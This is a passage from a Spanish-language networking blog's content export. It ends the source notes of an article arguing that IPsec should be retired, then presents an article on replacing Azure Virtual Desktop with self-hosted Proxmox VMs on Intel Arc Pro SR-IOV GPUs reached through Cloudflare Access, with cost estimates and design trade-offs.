2011. Claves de grupo, tal y como las usa GETVPN.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 2637 — Point-to-Point Tunneling Protocol (PPTP), julio de 1999. Categoría: Informational. Un protocolo de fabricante puesto por escrito, nunca una norma.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft — Configure L2TP/IPsec server behind NAT-T device, KB 926179, revisado por última vez el 12 de febrero de 2026. «By default, Windows Vista and Windows Server 2008 don\u0026rsquo;t support Internet Protocol security (IPsec) network address translation (NAT) Traversal (NAT-T) security associations to servers that are located behind a NAT device»; el valor DWORD AssumeUDPEncapsulationContextOnSendRule bajo HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\PolicyAgent admite 0 (por defecto, no puede), 1 (servidor detrás de NAT) o 2 (ambos extremos detrás de NAT), y la máquina debe reiniciarse. Además: «If you must use IPsec for communication, use public IP addresses for all servers that you can connect to from the Internet.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nstrongSwan — Windows Certificate Requirements. El certificado de la pasarela necesita el EKU serverAuth, OID 1.3.6.1.5.5.7.3.1, y el EKU IP Security IKE Intermediate, OID 1.3.6.1.5.5.8.2.2.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nstrongSwan — Windows Clients. Documenta añadir el DWORD NegotiateDH2048_AES256 bajo Rasman\\Parameters para obtener AES-256-CBC y MODP-2048; el apaño de renovación de claves para clientes detrás de NAT (rekey_time = 0 en la pasarela, inicia el cliente); y que el cliente de Windows «does not currently support IKE redirection (RFC 5685) and multiple authentication rounds (RFC 4739)». Además: «IKEv2 fragmentation is supported since the v1803 release of Windows 10 and Windows Server», y los clientes detrás de NAT rechazan una renovación de CHILD_SA iniciada por el servidor con el error de Microsoft 13863.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft — DirectAccess y Remote Access Always On VPN migration overview. DirectAccess está obsoleto y se retirará en una versión futura de Windows Server; a los clientes se les dirige a Always On VPN.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nJean Paul Degabriele y Kenneth G. Paterson — Attacking the IPsec Standards in Encryption-only Configurations, IEEE Symposium on Security and Privacy, 2007. Ataques que «break any RFC-compliant implementation of IPsec making use of encryption-only ESP», a partir solo del texto cifrado, y que no exigen más que escuchar el tráfico e inyectar paquetes.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 6434 — IPv6 Node Requirements, diciembre de 2011. «Previously, IPv6 mandated implementation of IPsec and recommended the key management approach of IKE. This document updates that recommendation by making support of the IPsec Architecture [RFC4301] a SHOULD for all IPv6 nodes.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNiels Ferguson y Bruce Schneier — A Cryptographic Evaluation of IPsec, Counterpane Internet Security, 1999. «IPsec was a great disappointment to us»; «Our main criticism of IPsec is its complexity»; «We therefore recommend that transport mode be eliminated»; «We conclude that eliminating transport mode allows the elimination of the AH protocol as well, without loss of functionality»; y «We have found serious security weaknesses in all major components of IPsec. As always in security, there is no prize for getting 90% right; you have to get everything right.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDavid Adrian y otros — Imperfect Forward Secrecy: How Diffie-Hellman Fails in Practice, ACM CCS 2015. El cálculo previo para un segundo grupo de 1024 bits «would allow decryption of traffic to 66% of IPsec VPNs»; el 86,1 % de los servidores IKEv1 escaneados y el 91,0 % de los IKEv2 admitían el grupo Oakley 2, y el 66,1 % de los servidores IKEv1 perfilados lo preferían.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCVE-2016-1287 y el aviso de Cisco, Cisco ASA Software IKEv1 and IKEv2 Buffer Overflow Vulnerability. Ejecución remota de código antes de la autenticación, alcanzada con paquetes UDP manipulados hacia el servicio IKE.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nJuniper — How to Analyze IKE Phase 2 VPN Status Messages. «No proposal chosen» significa que el equipo «did not accept any of the IKE Phase 2 proposals that the peer sent».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCisco — Understand and Use Debug Commands to Troubleshoot IPsec y Troubleshoot Common L2L and Remote Access IPsec VPN Issues.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nJuniper — Troubleshoot a VPN Tunnel That is Down.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNúcleo de Linux — XFRM proc counters. Las descripciones de la tabla salen de la propia documentación del núcleo.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nJuniper — Troubleshoot a VPN That Is Up But Not Passing Traffic. «If only the pkts counter in the out direction of the session is incrementing, then validate with the VPN peer that the traffic is being received.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft — netsh wfp, Windows Commands. netsh wfp capture start «Starts a capture session for network events processed by WFP» y escribe wfpdiag.cab por defecto; netsh wfp show state «Displays the current state of WFP and IPsec»; netsh wfp show ikeevents «Displays recent Internet Key Exchange (IKE) epoch events matching the specified parameters» y acepta un filtro remoteaddr=. Con file=-, cada show escribe en consola en lugar de generar XML.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft — Get-NetIPsecQuickModeSA, módulo NetSecurity. «There is only one main mode SA between a pair of computers, but there can be many quick mode SAs», y monitorizarlas «can provide information about which peers are currently connected to this computer, and which protection suite is protecting the data exchanged between them».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft — Troubleshoot Always On VPN, última revisión del 12 de febrero de 2026. Sobre la lectura de los registros del cliente: «look for events labeled RasClient. All error messages return the error code at the end of the message.» Causa del error 809: «You can encounter this issue when the UDP 500 or 4500 ports on the VPN server or firewall are blocked.» El error 812 es un desajuste de método de autenticación entre la directiva del servidor y el perfil del cliente. Las cuatro causas que lista para el 13801 son un certificado de máquina sin Server Authentication en el uso extendido de clave, un certificado de máquina RAS caducado, un cliente sin el certificado raíz, y un cliente cuyo «VPN server name doesn\u0026rsquo;t match the subjectName value on the server certificate»; el 13806 es «IKE can\u0026rsquo;t find a valid machine certificate».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft — Guidance for troubleshooting Remote Access (VPN and AOVPN). La recogida soportada es TSS, ejecutada elevada: TSS.ps1 -Scenario NET_VPN en el cliente y TSS.ps1 -Scenario NET_RAS en el servidor, reproduciendo el fallo entre el arranque y la parada, con las trazas escritas en C:\\MS_DATA.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft — Routing and Remote Access Error Codes, los códigos definidos en raserror.h. 638 ERROR_REQUEST_TIMEOUT; 718 ERROR_PPP_TIMEOUT; 789 ERROR_OAKLEY_GENERAL_PROCESSING, «The L2TP connection attempt failed because the security layer encountered a processing error during initial negotiations with the remote computer»; 809 ERROR_VPN_TIMEOUT, «The network connection between your computer and the VPN server could not be established because the remote server is not responding»; 828 ERROR_IDLE_TIMEOUT, «The connection was terminated because of idle timeout»; 930 ERROR_AUTH_SERVER_TIMEOUT, «The authentication server did not respond to authentication requests in a timely fashion».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nfirewalld — Automatic Helper Assignment. «With kernel 4.7 and up the automatic helper assignment in kernel has been turned off by default», controlado por el sysctl en /proc/sys/net/netfilter/nf_conntrack_helper, y «for the secure use of iptables and connection tracking helpers it is recommended to turn AutomaticHelpers off». El mensaje del núcleo sobre el cambio da el motivo y el sustituto: la asignación automática «has been turned off for security reasons», úsese en su lugar el objetivo CT. Entre los ayudantes cubiertos están ftp, irc, sip, h323, tftp, snmp y pptp.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nSamy Kamkar — NAT Slipstreaming, v1 del 31 de octubre de 2020, v2 del 26 de enero de 2021 con Ben Seri y Gregory Vishnipolsky de Armis. El ataque abusa del «Application Level Gateway (ALG) connection tracking mechanism built into NATs, routers, and firewalls» para «bypass victim NAT and connect directly back to any port on any machine on the network, exposing previously protected/hidden services and systems». La v1 usaba la pasarela SIP en el puerto 5060 y la v2 H.323 en el 1720, lo que permitía apuntar el agujero a cualquier equipo interno y no solo a la máquina que cargó la página.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft — Set-VpnServerConfiguration, módulo RemoteAccess. -IdleDisconnectSeconds «Specifies the time, in seconds, after which an idle connection is terminated»; -SALifeTimeSeconds y -MMSALifeTimeSeconds fijan los tiempos de vida del modo rápido y del modo principal; -SADataSizeForRenegotiationKilobytes «Specifies the number of kilobytes that are allowed to transfer using a security association (SA), after which the SA will be renegotiated».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nJason A. Donenfeld — WireGuard: Next Generation Kernel Network Tunnel, NDSS 2017. «It intentionally lacks cipher and protocol agility. If holes are found in the underlying primitives, all endpoints will be required to update. As shown by the continuing torrent of SSL/TLS vulnerabilities, cipher agility increases complexity monumentally»; «implemented for Linux in less than 4,000 lines of code»; «it is important to stress, however, that the layering of IPsec is correct and sound; everything is in the right place with IPsec, to academic perfection». Mediciones: 1.011 Mbit/s frente a 881 y 825 para dos suites de cifrado IPsec, y 0,403 ms de ping frente a 0,501 y 0,508.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/es/networking/ipsec-was-a-good-idea-turn-it-off/","summary":"IPsec acertaba en 1995: cifrar por debajo de la aplicación, atar la asociación de seguridad a la dirección IP y que cada protocolo la herede. Luego llegó el NAT, el NAT de operador remató la faena, y la solución fue envolverlo todo en UDP y dejar un temporizador corriendo para que una tabla de traducción no te olvide. Esta entrada enseña diagrama a diagrama cómo se viene abajo — la asociación de seguridad que no sobrevive a una cabecera reescrita, los dos traductores que hoy lleva cualquier línea con CGNAT, la norma NAT64 que excluye a IPsec por su nombre, el túnel que no puede usar un segundo enlace porque ESP no tiene puertos, la MTU de la que nadie se ocupa, y L2TP y PPTP como los dos protocolos que nunca debieron estar aquí. Trae la documentación de Cisco, Juniper y Microsoft que admite cada uno de esos puntos, las dieciocho piezas que se llaman VPN IPsec incluidas dos que nunca fueron normas, por qué el Fisher-Price OS nunca ha interoperado de verdad con una pila abierta, un método utilizable para diagnosticar IPsec mientras sigas explotándolo, y el argumento para retirarlo todo con fechas.","title":"IPsec fue una buena idea. Es hora de apagarlo."},{"content":"Lo que de verdad cuesta Azure Virtual Desktop Azure Virtual Desktop entrega un escritorio de Windows en un navegador. Eso es de verdad lo que hace, y funciona. La pregunta es qué cuesta mantenerlo funcionando.\nEl precio de etiqueta no es el precio. La pila de licencias de Microsoft para AVD va más o menos así1:\nUna licencia de Microsoft 365 que incluye el derecho a Windows Enterprise — E3 o E5, o el equivalente Business Premium Cómputo de Azure bajo el escritorio — una VM facturada por hora, o una instancia reservada facturada por mes Almacenamiento de Azure para el disco del SO y el perfil de usuario Redes de Azure para el tráfico entre el escritorio y todo lo demás Opcionalmente, Microsoft Entra ID P1 o P2 para políticas de acceso condicional Windows 365 Cloud PC simplifica la facturación en un número plano por usuario y por mes, pero el número no es pequeño. Una configuración de 2 vCPU / 8 GB / 128 GB — que es un escritorio de oficina modesto — es £35,60 por usuario y por mes2. Añade una GPU y salta a £269,40 por el nivel GPU Standard. Multiplica por la plantilla y es una partida de factura de verdad, cada mes, para siempre.\nEse es el producto que este artículo reemplaza.\nNavegador cualquier dispositivo sin cliente RDP sin VPN HTTPS Cloudflare Access\u0026#160;+\u0026#160;IdP autentica al usuario renderiza RDP en el navegador gratis ≤\u0026#160;50 usuarios sin puertos expuestos sin VPN necesaria política zero trust túnel LXC cloudflared VLAN propia cortafuegos a solo destinos RDP RDP VM\u0026#160;Windows GPU VF\u0026#160;0\u0026#160;·\u0026#160;RDP VM\u0026#160;Windows GPU VF\u0026#160;1\u0026#160;·\u0026#160;RDP VM\u0026#160;Windows GPU VF\u0026#160;2\u0026#160;·\u0026#160;RDP Host Proxmox\u0026#160;·\u0026#160;Intel Arc Pro SR-IOV Arc Pro serie B PF → host VF 0 → VM VF 1 → VM VF 2 → VM Un navegador, un proveedor de identidad y un túnel — sin VPN, sin puertos expuestos, sin factura de nube por puesto El camino entero: un navegador, Cloudflare Access para la identidad, un túnel hacia un LXC con cortafuegos, y RDP a VM de Windows con funciones virtuales Intel Arc Pro. Sin VPN, sin puertos expuestos, sin factura de nube por puesto. Qué aspecto tiene la pila de reemplazo Tres capas, cada una independiente, ninguna facturada por puesto:\nLa capa de GPU es el montaje Intel Arc Pro SR-IOV del artículo anterior. Una sola tarjeta Arc Pro se divide en funciones virtuales por hardware mediante SR-IOV de PCIe estándar — sin licencia de vGPU, sin suscripción de NVIDIA. Cada VM de Windows obtiene su propia VF y su propio escritorio acelerado por GPU. La tarjeta fija el número de puestos, no un servidor de licencias.\nLa capa de acceso es Cloudflare Access con RDP renderizado en el navegador. El usuario abre una URL en cualquier navegador, se autentica contra tu proveedor de identidad, y Cloudflare renderiza la sesión RDP directamente en la pestaña del navegador. Sin cliente RDP instalado. Sin VPN. Sin puertos expuestos a internet. Access se federa con cualquier proveedor OAuth u OIDC — eso incluye proveedores on-prem como Keycloak o Authentik apilados sobre tu Active Directory existente, ya sea un AD de Samba 4 o un controlador de dominio de Windows. El directorio sigue haciendo lo que ya hace: cuentas de usuario, directiva de grupo, VM unidas al dominio. Keycloak o Authentik se federa contra él y añade la capa OAuth/OIDC y de MFA que Cloudflare Access necesita. El plano de identidad se queda en tu propio hardware. No hace falta ninguna suscripción de Entra ID. Cloudflare Access maneja lo que pasa después de eso: controla lo que el usuario autenticado puede alcanzar en tu red — qué aplicaciones, qué protocolos, qué hosts. El escritorio está detrás de un túnel de Cloudflare e inalcanzable desde cualquier sitio salvo a través de la política de Access, y la política decide tanto la identidad como el alcance.\nLa capa de túnel es un proceso cloudflared corriendo en un contenedor LXC sobre Proxmox, en su propia VLAN — un /30 para IPv4 con su propio prefijo IPv6 dedicado, nada más en el dominio de difusión. El cortafuegos de Proxmox controla lo que el LXC puede alcanzar, y la respuesta es corta: TCP 3389 a las VM de escritorio y nada más. Si el extremo del túnel se ve comprometido, el radio de explosión es un contenedor en una VLAN por lo demás vacía, y lo único con lo que puede hablar es lo que el cortafuegos ya permite. Esa es una superficie mucho más pequeña que un concentrador de VPN que reparte una subred enrutada.\nCloudflare Zero Trust es gratis hasta 50 usuarios3. Pagas a partir del usuario 51. Azure Virtual Desktop cobra desde el puesto uno.\nLa arquitectura Usuario dispositivo navegador HTTPS Cloudflare Access El IdP OAuth hace identidad\u0026#160;+\u0026#160;MFA Access controla alcance\u0026#160;de\u0026#160;red renderiza RDP túnel Tus instalaciones LXC cloudflared VLAN\u0026#160;propia /30\u0026#160;IPv4 Cortafuegos Proxmox solo\u0026#160;TCP\u0026#160;3389 RDP Windows VM funciones virtuales de GPU Arc\u0026#160;Pro\u0026#160;SR-IOV El camino de la sesión: el usuario se autentica en el borde de Cloudflare, el túnel aterriza en un LXC con cortafuegos en su propia VLAN, y el cortafuegos permite solo RDP a las VM de escritorio. El camino que toma una sesión de escritorio:\nEl usuario abre https://vdi.example.com en cualquier navegador, en cualquier dispositivo Cloudflare Access intercepta la petición y redirige a tu proveedor de identidad — Keycloak o Authentik federado contra tu Active Directory El proveedor OAuth valida la identidad del usuario contra AD y maneja el MFA Access evalúa la política — el proveedor confirmó quién es, Access decide qué puede alcanzar en tu red Cloudflare establece una sesión RDP a través del túnel hacia la VM objetivo La sesión RDP se renderiza en el navegador — sin cliente, sin plugin, sin descarga El túnel termina en un contenedor LXC sobre el host de Proxmox, en una VLAN bien cerrada El LXC reenvía RDP a la VM de Windows, que tiene una función virtual de GPU de la tarjeta Arc Pro En ningún momento la VM de Windows tiene una IP pública. En ningún momento el puerto 3389 está abierto a internet. Lo único escuchando en la internet pública es Cloudflare, y lo único que pasa de Cloudflare es un usuario que superó la política de Access.\nEl extremo del túnel: un LXC en su propia VLAN El proceso cloudflared necesita correr en algún sitio, y dónde lo pones es una decisión de seguridad.\nCorrerlo directamente en el host de Proxmox es la opción más simple y la peor. Un extremo de túnel que comparte el espacio de nombres de red del host puede alcanzar todo lo que el host puede alcanzar, que en un hipervisor es todo. Un túnel comprometido se convierte en un pivote hacia el plano de gestión.\nCorrerlo en una VM completa es limpio pero pesado. Un relé de túnel es un único binario de Go que usa casi nada de CPU y unos pocos cientos de megabytes de RAM. Darle un kernel completo y un disco virtual es pasarse.\nUn contenedor LXC es la forma correcta. Obtiene su propio espacio de nombres de red, su propia VLAN — un /30 de IPv4 y un prefijo IPv6 dedicado, sin nada más compartiendo el dominio de difusión — y sus propias reglas de cortafuegos en el cortafuegos de Proxmox. Comparte el kernel del host pero no su pila de red. El cortafuegos permite TCP 3389 a las VM de escritorio, DNS para resolverlas, y HTTPS de salida al borde de Cloudflare. Como tal, incluso un extremo de túnel comprometido solo puede hablar con las cosas con las que ya se suponía que debía hablar — y la VLAN en la que se sienta no tiene otros residentes que alcanzar.\nLa configuración del LXC, las reglas de cortafuegos de Proxmox para la VLAN, y la configuración del túnel cloudflared están todas en el siguiente artículo.\nCómo encaja todo Cloudflare Access Hay dos mitades en esto. El proveedor OAuth — Keycloak o Authentik, federado contra tu Active Directory (Samba 4 o Windows) — maneja la validación de identidad y el MFA. Prueba que el usuario es quien dice ser, usando el mismo directorio al que las VM están unidas por dominio. Cloudflare Access maneja todo lo que viene después: qué se le permite alcanzar al usuario autenticado, a través de qué protocolo, y cómo se renderiza la sesión.\nCloudflare Access renderiza la sesión RDP directamente en el navegador. Esto no es una descarga ni un plugin — el borde de Cloudflare corre un cliente RDP headless y transmite el resultado como un canvas en la pestaña del navegador. El usuario ve un escritorio de Windows. El navegador ve HTTPS a Cloudflare. La VM de Windows ve una conexión RDP desde el túnel cloudflared.\nLa aplicación de Access es una app autohospedada apuntada al ingreso RDP del túnel. La política de Access es donde las dos mitades se encuentran. El proveedor OAuth ya ha confirmado la identidad y pasado el reto de MFA. Access toma ese token y decide qué hacer con él — qué aplicación puede alcanzar el usuario, si la postura de su dispositivo pasa, si su ubicación está permitida. El proveedor dice quién. Access dice qué.\nLa creación del túnel, las reglas de ingreso, la configuración del LXC, las reglas de cortafuegos de Proxmox y la propia política de Access están todas en el siguiente artículo — este expone qué es la pila y por qué existe. El siguiente la construye.\nLo que ve el usuario Cloudflare Access incluye un App Launcher — un portal de recursos que lista cada aplicación que el usuario autenticado tiene permitido alcanzar. Después de que el usuario inicie sesión a través del proveedor OAuth, el portal le muestra sus escritorios disponibles, aplicaciones web internas, y cualquier otro recurso tunelizado, todo en un sitio. Una URL, un inicio de sesión, y un mosaico por cada cosa a la que tiene acceso. Es la página de aterrizaje de la pila entera, no solo RDP.\nEl usuario hace clic en un mosaico de escritorio, y obtiene un escritorio de Windows en una pestaña del navegador. Sin cliente, sin plugin, sin descarga. Funciona en cualquier dispositivo que ya tenga — un portátil de empresa, una máquina personal, un Chromebook, una tableta. Ese es el objeto. El sistema está construido para empresas que dejan a la gente usar su propio equipo.\nEl portapapeles, el audio y los múltiples monitores no están soportados a través de la sesión renderizada en el navegador. Eso es por diseño, no por accidente. Cada uno de esos canales es un camino de exfiltración de datos. Un portapapeles que cruza la frontera saca ficheros. La captura de audio saca conversaciones. Los múltiples monitores con un escritorio local al lado del remoto hacen trivial el arrastrar y soltar. Cortar esos canales significa que un usuario puede trabajar dentro del escritorio pero no puede sacar el trabajo de él por un canal lateral. La política de Access controla quién entra. El renderizado en el navegador controla qué sale.\nSi la empresa necesita portapapeles o audio para un flujo de trabajo concreto, Cloudflare Access también soporta un cliente RDP nativo a través del túnel — el mismo túnel, la misma política, la misma comprobación de identidad. El camino nativo da el conjunto completo de funciones RDP a los usuarios que las necesitan y mantiene el camino del navegador bien cerrado para todos los demás. Dos métodos de acceso, un motor de políticas, un túnel.\nLa comparación de costes Un ejemplo concreto. Un servidor, 42 escritorios acelerados por GPU:\nUna CPU de 64 núcleos con hyperthreading te da 128 hilos. Cada VM obtiene 8 vCPU — una asignación de escritorio en condiciones, no un cliente ligero. 42 × 8 = 336 vCPU, que sobre el papel está muy por encima de 128 hilos. Pero esto es VDI. Los escritorios de oficina están inactivos la mayor parte del tiempo. Un usuario leyendo un documento o escribiendo un correo no está cargando 8 núcleos. La sobresuscripción no es un riesgo aquí, es el diseño. Proxmox te deja asignar más vCPU que hilos físicos porque el planificador sabe que la mayoría están durmiendo. La CPU se dimensiona para el pico, y el pico es un puñado de usuarios compilando o renderizando a la vez, no los 42. Esto no es un atajo — los hiperescaladores de la nube sobresuscriben del mismo modo. Cada VM de Azure que alquilas comparte núcleos físicos con otros inquilinos del mismo host. El modelo de rendimiento es idéntico. La diferencia es quién posee el host. 12 GB de RAM por VM es un escritorio de oficina sólido. 42 × 12 GB = 504 GB, más 4 GB para el propio Proxmox = 508 GB sobre el papel. En la práctica KSM colapsa las páginas idénticas entre esas 42 imágenes de Windows, así que la RAM física necesaria es sustancialmente menor — pero presupuesta 512 GB de DIMM y deja que KSM te dé el margen. Tres tarjetas Intel Arc Pro B60 duales en una placa como la Supermicro H13SSL-NT. Cada tarjeta física presenta dos GPU al SO, así que tres tarjetas te dan 6 GPU. Cada GPU soporta 7 funciones virtuales SR-IOV4. Eso son 42 escritorios acelerados por GPU desde tres ranuras PCIe. La B60 se lista alrededor de $599–799 por tarjeta. La B70 es la opción mayor a $949 de lanzamiento por 32 GB y 4 funciones virtuales por GPU5 — menos puestos pero más VRAM por puesto. Windows 365 Cloud PC para 42 usuarios2:\nIncluso sin una GPU, los números no son pequeños. El nivel Basic — 2 vCPU, 4 GB, 128 GB — es £26,90/usuario/mes. El nivel Standard — 2 vCPU, 8 GB, 128 GB, que es un escritorio de oficina modesto — es £35,60/usuario/mes. Para 42 usuarios en Standard, eso son £1 495,20/mes, £17 942,40/año, antes de cualquiera de los extras de abajo.\nCon una GPU se pone peor. El nivel GPU Standard es £269,40/usuario/mes. Para 42 usuarios, eso son £11 314,80/mes, £135 777,60/año.\nAmbos niveles luego añaden:\nLicencias de Microsoft 365 si no las tienes ya Redes de Azure — la entrada y la salida se facturan por separado, y un escritorio que transmite a un navegador no es ligero en salida Azure Backup o una solución de copia de seguridad de terceros — las instantáneas de VM y el almacenamiento de perfiles no se respaldan gratis Direcciones IPv4 públicas — Azure cobra por cada IP pública adjuntada a un recurso, y el precio solo ha subido El precio subyacente de Azure está en USD, así que los costes en GBP se mueven con el tipo de cambio — una libra débil hace cada partida más cara y no tienes control sobre ninguno de los dos lados de eso La factura nunca para. El año cinco cuesta lo mismo que el año uno. Esta pila para 42 usuarios — el coste de construcción:\nPlaca base Supermicro H13SSL-NT: ~£700 CPU AMD EPYC de 64 núcleos: ~£1 500 512 GB DDR5 ECC RDIMM (8 × 64 GB): ~£5 200 Tres tarjetas B60 duales: ~£1 800 Chasis, PSU, SSD de arranque: ~£800 Hardware total: unas £10 000 Amortizado a lo largo de una vida de cinco años, eso son £2 000/año en coste de capital. Añade:\nCloudflare Zero Trust: gratis hasta 50 usuarios Derechos de VDI de Windows 11 Enterprise — Software Assurance sobre Pro actualiza a Enterprise, que incluye acceso VDI para hasta cuatro VM por usuario, o licencia a través de Microsoft 365 E3/E56 Electricidad — y esto vale la pena ponerle un número El presupuesto de potencia en tirón de pico: un EPYC de 64 núcleos a 360 W de TDP, tres tarjetas B60 duales a 400 W cada una (1 200 W), 512 GB de RAM a unos 80 W, más almacenamiento, ventiladores y pérdidas de PSU a unos 150 W. Eso son aproximadamente 1 800 W en la toma bajo plena carga. Los escritorios VDI no están bajo plena carga — el uso de oficina es mayormente CPU inactiva y GPU ligera, así que una media realista está más cerca de 1 000 a 1 200 W. Digamos 1 100 W.\nA 35p por kWh, 1,1 kW corriendo 24/7 es:\n1,1 × 24 × 365 = 9 636 kWh/año 9 636 × £0,35 = £3 373/año en electricidad Así que el coste anual total de esta pila es de unas £5 400/año — £2 000 en hardware amortizado y £3 400 en electricidad, antes de las licencias de Windows y la internet. Pon eso al lado de la factura de Azure: £5 400 contra £135 778 por el nivel GPU, o £17 942 por escritorios básicos sin GPU. Incluso en el nivel de Azure más barato, esta pila cuesta menos de un tercio. En el nivel GPU, es el 4 % de la factura de Azure.\nPor qué el VDI encaja en Proxmox El VDI es una de las cargas de trabajo en las que Proxmox es discretamente muy bueno, por dos razones que nada tienen que ver con el hipervisor en sí.\nKSM. Proxmox habilita KSMd — el demonio de fusión de páginas iguales del kernel — de serie. Veinte VM de Windows construidas a partir de la misma imagen comparten enormes cantidades de páginas de memoria idénticas: el SO, las bibliotecas base, las partes sin cambiar del perfil de usuario. KSMd encuentra esos duplicados y los colapsa en una sola página física, copia-en-escritura. El resultado es que veinte escritorios caben en la memoria que si no necesitarías para ocho o diez. En un host de VDI donde cada VM corre la misma imagen, KSM no es una optimización marginal. Es lo que hace la densidad asequible.\nbcache. Si tu almacenamiento es Ceph con HDD y bcache Optane, el VDI es la carga de trabajo de mejor caso para él. Las tormentas de arranque y las tormentas de inicio de sesión son cargadas de lectura y repetitivas — exactamente el patrón que un cache absorbe. Una vez que el conjunto de trabajo está caliente, los escritorios leen de la Optane a latencia de NVMe y los platos apenas se mueven. Las escrituras son cambios de perfil de usuario y ficheros temporales, que son lo bastante pequeños y secuenciales como para que el writeback de bcache los maneje sin llegar nunca a hacer cuello de botella en el HDD.\nPerfiles — dos opciones, ambas en Ceph. Los perfiles de usuario son la otra mitad del almacenamiento de VDI, y hay dos maneras limpias de manejarlos sin salir del clúster.\nLos contenedores de perfil FSLogix son la manera estándar de itinerar un perfil de escritorio de Windows, y funcionan sobre almacenamiento de objetos compatible con S3. El Ceph de Proxmox expone una pasarela S3 a través del RADOS Gateway, así que el almacén de perfiles vive en el mismo clúster que los discos de las VM. Sin servidor de ficheros aparte, sin factura de Azure Files, sin dependencia externa.\nLa otra opción es saltarse FSLogix del todo y usar la redirección de carpetas de Windows a recursos compartidos SMB servidos por Samba en clúster sobre CephFS. Los escritorios redirigen Documentos, Escritorio, AppData y el resto a un recurso Samba respaldado por CephFS, y el clúster de Samba maneja la conmutación por error. Sin contenedor de perfil en absoluto — los ficheros viven en el sistema de ficheros como ficheros llanos, y CephFS maneja la replicación. Esto es más simple de gestionar, más simple de respaldar, y esquiva las licencias de FSLogix del todo — útil si el coste de licencia es un problema o simplemente quieres menos piezas móviles. De cualquier modo, los perfiles se sientan en tu propio almacenamiento, respaldados por el mismo pool de Ceph, y el coste es el disco que ya compraste.\nEntre KSM recuperando memoria, bcache recuperando latencia de almacenamiento y los perfiles aterrizando en Ceph — ya sea a través de FSLogix en S3 o de redirección de carpetas en CephFS — un solo host de Proxmox con HDD y una cantidad modesta de RAM sirve más escritorios de lo que la hoja de especificaciones sugiere. Azure cobra por cada gigabyte de los tres. Aquí, la infraestructura hace el trabajo gratis.\nCopia de seguridad, resiliencia y cumplimiento Mantener todo dentro del VDI no es solo una decisión de coste. Es una decisión de cumplimiento y resiliencia.\nCuando el escritorio vive en el servidor, los datos viven en el servidor. Nada aterriza en el dispositivo del usuario. Un portátil robado es una pantalla perdida, no un conjunto de datos perdido. No hay disco local que cifrar, no hay copia local que exfiltrar, no hay endpoint que imaginar forensemente tras una brecha. Los datos nunca salieron de la infraestructura que controlas.\nEso hace la copia de seguridad sencilla. Los discos de las VM y los almacenes de perfiles están en Ceph, y las instantáneas de Ceph son atómicas e instantáneas. Una política de instantáneas cubre cada escritorio y cada perfil. Restaurar un escritorio al estado de ayer es una reversión de instantánea, no una reconstrucción. Restaurar un perfil es la misma operación en un pool distinto. El objetivo de la copia es el clúster, no veinte endpoints dispersos.\nTambién simplifica el cumplimiento. La residencia de datos es fácil de probar cuando los datos están en hardware que posees, en un rack al que puedes señalar, en una jurisdicción que elegiste. Los registros de auditoría se sientan en tus propios logs. El acceso lo controlan políticas de Cloudflare que escribiste, autenticado por un IdP que corres, y registrado por sistemas que controlas. No hay un proveedor de nube de terceros entre tú y la evidencia que un auditor pide.\nLa resiliencia sigue la misma línea. Una VM de escritorio muerta es una VM nueva de la imagen dorada con el perfil readjuntado. El usuario inicia sesión de nuevo y el escritorio está de vuelta. No hay endpoint que reconstruir, no hay SO que reimaginar, no hay hardware que enviar. La unidad de recuperación es la VM, y levantar una lleva minutos.\nA qué renuncias Esto no es gratis en todos los sentidos. Las cosas que Azure Virtual Desktop maneja y que esta pila no:\nMicrosoft gestiona el parcheado y las actualizaciones. Aquí, lo haces tú. Intune y Endpoint Manager se integran de forma nativa con AVD. Aquí, estás gestionando las VM de Windows tú mismo o a través de cualquier herramienta que elijas. La red de Azure es problema de Azure. Aquí, tu conexión a internet es el camino al escritorio. Si se 